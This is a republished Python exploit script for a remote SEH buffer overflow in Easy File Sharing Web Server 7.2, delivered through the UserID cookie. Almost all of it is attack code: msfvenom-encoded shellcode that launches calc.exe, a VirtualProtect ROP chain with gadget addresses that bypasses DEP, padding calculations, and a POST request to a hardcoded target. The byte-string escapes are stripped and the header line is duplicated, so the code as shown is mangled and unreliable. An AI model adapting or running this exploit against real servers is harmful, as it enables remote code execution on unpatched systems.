Easy File Sharing Web Server 7.2 UserID Buffer Overflow

Details: Written by: khalil shreateh; Category: Vulnerabilities; Hits: 406

#!/usr/bin/env python
#---------------------------------------------------------------------------------------------------#
# Exploit Title : Easy File Sharing Web Server 7.2 - 'UserID #!/usr/bin/env python
#---------------------------------------------------------------------------------------------------#
# Exploit Title : Easy File Sharing Web Server 7.2 - 'UserID' Remote Buffer Overflow (DEP Bypass) #
# Date : 04/24/2018 #
# Exploit Author : Hashim Jawad #
# Twitter : @ihack4falafel #
# Author Website : ihack4falafel[.]com #
# Vendor Homepage : http://www.sharing-file.com/ #
# Software Link : http://www.sharing-file.com/efssetup.exe #
# Original Exploit: https://www.exploit-db.com/exploits/44485/ #
# Tested on : Windows 7 Enterprise (x86) - Service Pack 1 #
#---------------------------------------------------------------------------------------------------#

import requests
import struct
import time

host='192.168.80.148'
port='80'

# badchars = "x00x7ex2bx26x3dx25x3ax22x0ax0dx20x2fx5cx2e"
# root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -v shellcode -f python
# Payload size: 447 bytes

shellcode = ""
shellcode += "x89xe3xd9xe5xd9x73xf4x5ax4ax4ax4ax4a"
shellcode += "x4ax4ax4ax4ax4ax4ax4ax43x43x43x43x43"
shellcode += "x43x37x52x59x6ax41x58x50x30x41x30x41"
shellcode += "x6bx41x41x51x32x41x42x32x42x42x30x42"
shellcode += "x42x41x42x58x50x38x41x42x75x4ax49x49"
shellcode += "x6cx6bx58x4ex62x63x30x57x70x77x70x53"
shellcode += "x50x6ex69x6bx55x64x71x39x50x50x64x6e"
shellcode += "x6bx42x70x64x70x6cx4bx43x62x36x6cx6e"
shellcode += "x6bx43x62x75x44x6ex6bx52x52x64x68x46"
shellcode += "x6fx38x37x50x4ax76x46x64x71x4bx4fx4e"
shellcode += "x4cx77x4cx35x31x61x6cx77x72x76x4cx37"
shellcode += "x50x4ax61x5ax6fx74x4dx37x71x39x57x38"
shellcode += "x62x5ax52x30x52x66x37x6ex6bx50x52x62"
shellcode += "x30x6cx4bx62x6ax57x4cx6cx4bx52x6cx47"
shellcode += "x61x74x38x6dx33x71x58x43x31x38x51x50"
shellcode += "x51x6cx4bx33x69x67x50x35x51x48x53x6e"
shellcode += "x6bx57x39x75x48x69x73x54x7ax63x79x4e"
shellcode += "x6bx35x64x6cx4bx35x51x6ax76x46x51x39"
shellcode += "x6fx6ex4cx6fx31x48x4fx44x4dx36x61x48"
shellcode += "x47x34x78x6bx50x74x35x69x66x73x33x73"
shellcode += "x4dx49x68x55x6bx43x4dx47x54x74x35x68"
shellcode += "x64x63x68x4ex6bx46x38x66x44x33x31x59"
shellcode += "x43x61x76x6cx4bx66x6cx50x4bx4cx4bx50"
shellcode += "x58x47x6cx65x51x69x43x6cx4bx63x34x6e"
shellcode += "x6bx43x31x68x50x4ex69x61x54x65x74x65"
shellcode += "x74x51x4bx51x4bx73x51x73x69x62x7ax42"
shellcode += "x71x69x6fx39x70x51x4fx73x6fx43x6ax4e"
shellcode += "x6bx52x32x78x6bx4ex6dx31x4dx53x5ax67"
shellcode += "x71x6cx4dx4fx75x48x32x57x70x77x70x43"
shellcode += "x30x66x30x61x78x46x51x6ex6bx70x6fx6e"
shellcode += "x67x59x6fx6bx65x4fx4bx78x70x6dx65x39"
shellcode += "x32x50x56x73x58x6cx66x6cx55x4dx6dx6d"
shellcode += "x4dx49x6fx49x45x65x6cx45x56x73x4cx45"
shellcode += "x5ax6bx30x6bx4bx39x70x53x45x34x45x4d"
shellcode += "x6bx42x67x65x43x63x42x70x6fx50x6ax37"
shellcode += "x70x66x33x6bx4fx69x45x30x63x35x31x72"
shellcode += "x4cx65x33x76x4ex75x35x42x58x45x35x67"
shellcode += "x70x41x41"

# 4059 bytes to nSEH offset [filler + ROP + shellcode + filler]
buffer = 'x41' * (2647-128) # filler to where ESP will point after stack pivot (see SEH gadget)

# mona.py VirtualProtect() ROP template with few modifications

# ESI = ptr to VirtualProtect()
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c832d0) # ptr to &VirtualProtect() [IAT sqlite3.dll]
buffer += struct.pack('<L', 0x1002248c) # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c18d81) # XCHG EAX,EDI # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x1001d626) # XOR ESI,ESI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x10021a3e) # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]

# EBP = ReturnTo (ptr to jmp esp)
buffer += struct.pack('<L', 0x1001add7) # POP EBP # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c24169) # & push esp # ret [sqlite3.dll]

# EDX = NewProtect (0x40)
buffer += struct.pack('<L', 0x10022c4c) # XOR EDX,EDX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]
buffer += struct.pack('<L', 0x61c059a0) # INC EDX # ADD AL,0C9 # RETN [sqlite3.dll]

# ECX = lpOldProtect (ptr to W address)
buffer += struct.pack('<L', 0x1001b377) # POP ECX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad) # &Writable location [sqlite3.dll]

# EBX = dwSize (0x00000501)
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0xfffffaff) # will become 0x00000501 after negate
buffer += struct.pack('<L', 0x100231d1) # NEG EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001da09) # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x61c730ad) # &Writable location [sqlite3.dll]

# EDI = ROP NOP (RETN)
buffer += struct.pack('<L', 0x10019f47) # POP EDI # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x1001a858) # RETN (ROP NOP) [ImageLoad.dll]

# EAX = NOP (0x90909090)
buffer += struct.pack('<L', 0x10015442) # POP EAX # RETN [ImageLoad.dll]
buffer += struct.pack('<L', 0x90909090) # nop
buffer += struct.pack('<L', 0x100240c2) # PUSHAD # RETN [ImageLoad.dll]

buffer += "x90" * 50 # nop
buffer += shellcode # calc.exe
buffer += "x90" * 50 # nop

buffer += 'x45' * (1412-(4*88)+128-len(shellcode)-100)
buffer += 'x42' * 4 # nSEH filler

# stack pivot that will land somewhere in buffer of As
buffer += struct.pack('<L', 0x10022869) # SEH ADD ESP,1004 # RETN [ImageLoad.dll]

buffer += 'x44' * (5000-4059-4-4)

print "[+] Sending %s bytes of evil payload.." %len(buffer)
time.sleep(1)

try:
cookies = dict(SESSIONID='6771', UserID=buffer,PassWD='')
data=dict(frmLogin='',frmUserName='',frmUserPass='',login='')
requests.post('http://'+host+':'+port+'/forum.ghp',cookies=cookies,data=data)
except:
print "The server stopped responding. You should see calc.exe by now ;D"